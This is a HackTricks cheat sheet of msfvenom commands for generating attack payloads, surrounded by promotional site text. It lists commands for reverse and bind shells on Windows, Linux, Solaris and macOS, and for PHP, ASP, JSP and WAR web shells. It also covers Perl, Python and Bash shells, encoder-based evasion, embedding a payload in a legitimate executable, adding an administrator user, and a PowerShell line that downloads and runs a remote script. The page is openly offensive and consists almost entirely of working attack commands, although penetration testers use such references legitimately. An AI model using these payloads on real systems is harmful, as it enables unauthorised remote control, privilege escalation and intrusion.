hacktricks/shells/shells/msfvenom.md

Support HackTricks and get benefits!

Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!

Discover The PEASS Family, our collection of exclusive NFTs

Get the official PEASS & HackTricks swag

Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.

Share your hacking tricks submitting PRs to the hacktricks github repo.

MSFVenom - CheatSheet

msfvenom -p <PAYLOAD> -e <ENCODER> -f <FORMAT> -i <ENCODE COUNT> LHOST=<IP>

One can also use the -a to specify the architecture or the --platform

Listing

msfvenom -l #Payloads
msfvenom -l encoders #Encoders

Common params when creating a shellcode

-b "\x00\x0a\x0d" 
-f c 
-e x86/shikata_ga_nai -i 5 
EXITFUNC=thread
PrependSetuid=True #Use this to create a shellcode that will execute something with SUID

Windows

Reverse Shell

msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > reverse.exe

Bind Shell

msfvenom -p windows/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f exe > bind.exe

Create User

msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe

CMD Shell

msfvenom -p windows/shell/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > prompt.exe

Execute Command

msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://IP/nishang.ps1')\"" -f exe > pay.exe
msfvenom -a x86 --platform Windows -p windows/exec CMD="net localgroup administrators shaun /add" -f exe > pay.exe

Encoder

msfvenom -p windows/meterpreter/reverse_tcp -e shikata_ga_nai -i 3 -f exe > encoded.exe

Embedded inside executable

msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -x /usr/share/windows-binaries/plink.exe -f exe -o plinkmeter.exe

Linux Payloads

Reverse Shell

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f elf > reverse.elf
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf

Bind Shell

msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f elf > bind.elf

SunOS Solaris

msfvenom --platform=solaris --payload=solaris/x86/shell_reverse_tcp LHOST=(ATTACKER IP) LPORT=(ATTACKER PORT) -f elf -e x86/shikata_ga_nai -b '\x00' > solshell.elf

MAC Payloads

Reverse Shell:

msfvenom -p osx/x86/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f macho > reverse.macho

Bind Shell

msfvenom -p osx/x86/shell_bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f macho > bind.macho

Web Based Payloads

PHP

Reverse shell

msfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

ASP/x

Reverse shell

msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f asp >reverse.asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f aspx >reverse.aspx

JSP

Reverse shell

msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f raw> reverse.jsp

WAR

Reverse Shell

msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f war > reverse.war

NodeJS

sfvenom -p nodejs/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port)

Script Language payloads

Perl

msfvenom -p cmd/unix/reverse_perl LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.pl

Python

msfvenom -p cmd/unix/reverse_python LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.py

Bash

msfvenom -p cmd/unix/reverse_bash LHOST=<Local IP Address> LPORT=<Local Port> -f raw > shell.sh

Support HackTricks and get benefits!

Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!

Discover The PEASS Family, our collection of exclusive NFTs

Get the official PEASS & HackTricks swag

Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.

Share your hacking tricks submitting PRs to the hacktricks github repo.